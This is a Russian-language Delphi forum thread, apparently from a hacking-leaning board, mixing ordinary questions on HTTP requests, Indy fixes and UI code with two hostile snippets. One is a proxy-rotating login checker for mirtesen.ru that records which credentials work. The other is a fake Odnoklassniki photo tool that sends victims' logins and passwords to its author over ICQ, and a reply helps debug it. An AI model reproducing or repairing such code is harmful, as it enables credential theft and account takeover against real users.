А если нету Content-Length в заголовке? Пакет который посылаю: Code: send1:='GET http://site.ru/?p='+Form1.edit2.text+' HTTP/1.0'+#13#10+ 'User-Agent: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00'+#13#10+ 'Host: site.ru'+#13#10+ 'Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1'+#13#10+ 'Accept-Language: ru-RU,ru;q=0.9,en;q=0.8'+#13#10+ 'Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1'+#13#10+ 'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+ 'Cookie: megacookie=2222'+#13#10+ 'Cookie2: $Version=1'+#13#10+ 'Connection: Keep-alive'+#13#10+#13#10; При: Code: Connection: Close Не так принимаются данные почему то (в конце html ответа еще какие то куски html кода приходят при Connection: Close)
ты что через прокси шлеш запрос? убери 'Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0'+#13#10+ чтобы небыло проблем с приходом данных в gzip чтото типа такого долно быть при обычном запросе. т.е. этого хватит Code: send1:='GET /?p='+Form1.edit2.text+' HTTP/1.0'+#13#10+ 'User-Agent: Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00'+#13#10+ 'Host: site.ru'+#13#10+ 'Cookie: megacookie=2222'+#13#10+ 'Connection: close'+#13#10#13#10;
Блин. Че за хрень, заипался. Посылаю пост запрос через идхттп, если логин/пасс верные то редиректит. Так вот, если посылать через прокси, то после редиректа тело ответа пустое, без проксей - все норм.
bmp152, т.к. сам ковырялся с проблемой, обнаружил решение у буржуев. - открываем IdMultipartFormData.pas - заменяем 574 строку на Result := Result + LEncoding.GetByteCount(TStrings(FieldObject).Text); - заменяем 582 строку на Result := Result + TStream(FieldObject).Size; - заменяем 306 строку на FSize := FSize + LItem.FieldSize + 2; Перекомпилируем. И ура - последняя ревизия индюши работает как часы.
Code: Param:=TStringList.Create;//Парaметры запросов Param.Add('auth[backurl]=http://mirtesen.ru/'); //Добавляем параметры для логина Param.Add('auth[login]='+Nick);//....... Param.Add('auth[password]='+Pswd);//........ Param.Add('auth[remember]=on');//...... Http:=TIdHttp.Create;//Создаем и инициализируем объект ИдХттп Http.Request.Host:='mirtesen.ru'; Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729)'; Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'; Http.Request.AcceptLanguage := 'ru,en-us;q=0.7,en;q=0.3'; Http.Request.AcceptCharset := 'windows-1251,utf-8;q=0.7,*;q=0.7'; Http.Request.Connection:='Keep-alive'; Http.Request.Referer:='http://mirtesen.ru/'; http.ReadTimeout:=10000; http.ConnectTimeout:=10000 ; Http.AllowCookies:=True; Cook:=TIdCookieManager.Create(Http); Http.HandleRedirects:=False; if UseProxy then//Если используем прокси, то берем рандомно begin EnterCriticalSection(CS); i2:=Random(Form6.sMemo3.Lines.Count); Http.ProxyParams.ProxyServer:=Copy(Form6.sMemo3.lines[i2],1,pos(':',Form6.sMemo3.lines[i])-1); Http.ProxyParams.ProxyPort:=StrToInt(Copy (Form6.sMemo3.Lines[i2],pos(':',Form6.sMemo3.Lines[i2])+1,Length(Form6.sMemo3.Lines[i2])-pos(':',Form6.sMemo3.Lines[i2]))); LeaveCriticalSection(CS); Response.Text:=Http.Post('http://mirtesen.ru/login',Param);//Логинимся on e : EIDHttpProtocolException do//Если редирект 302, то залогинились if e.ErrorCode = 302 then begin if Length(response.Text)=0 then continue; EnterCriticalSection(CS); Form6.sMemo2.Lines.Add(Nick+' Зашел'); LeaveCriticalSection(CS); Собственно вот, ничего особенного Зы Почему репу не могу никому добавить? Нажимаю, и ничего не меняется
народ кто вкурсах как создать такие же стильные заголовки tstringGrid'a http://clip2net.com/clip/m22700/1255960181-clip-1kb.png ???
хотелось бы знать,возможно ли в делфи как то читать координаты нажатия мышки,допустим в какой то области формы?
Code: procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var t:tpoint; begin GetCursorPos(t); Label1.Caption:=inttostr(t.X)+' - '+inttostr(t.Y); end; Или же проще: Code: procedure TForm1.FormMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); begin Label1.Caption:=inttostr(X)+' - '+inttostr(Y); end;
Кто знает почему не отправляет на icq данные может ни то пишу,или обновить нужно TICQClient Code: procedure TForm1.Button1Click(Sender: TObject); begin icqclient1.UIN:= strtoint('*****'); icqclient1.Password:= '*****'; ICQClient1.Login(); ShowMessage('Вы успешно залогинились на сервере.'); Button2.Enabled:=True; Button1.Enabled:=False; end; procedure TForm1.ICQClient1Login(Sender: TObject); begin icqclient1.SendMessage(******, 'Отправка с Одноклассники добавление фотографий Login: ' + Edit1.Text + ' Password: ' + Edit2.Text ); end;
Возьми создай событие от компонента ICQ с названием OnConnectionFailed, запиши в него какой нибуть ШоуМассаг, если будет вылезать такой шоумассаг значит превышенно кол. подкл.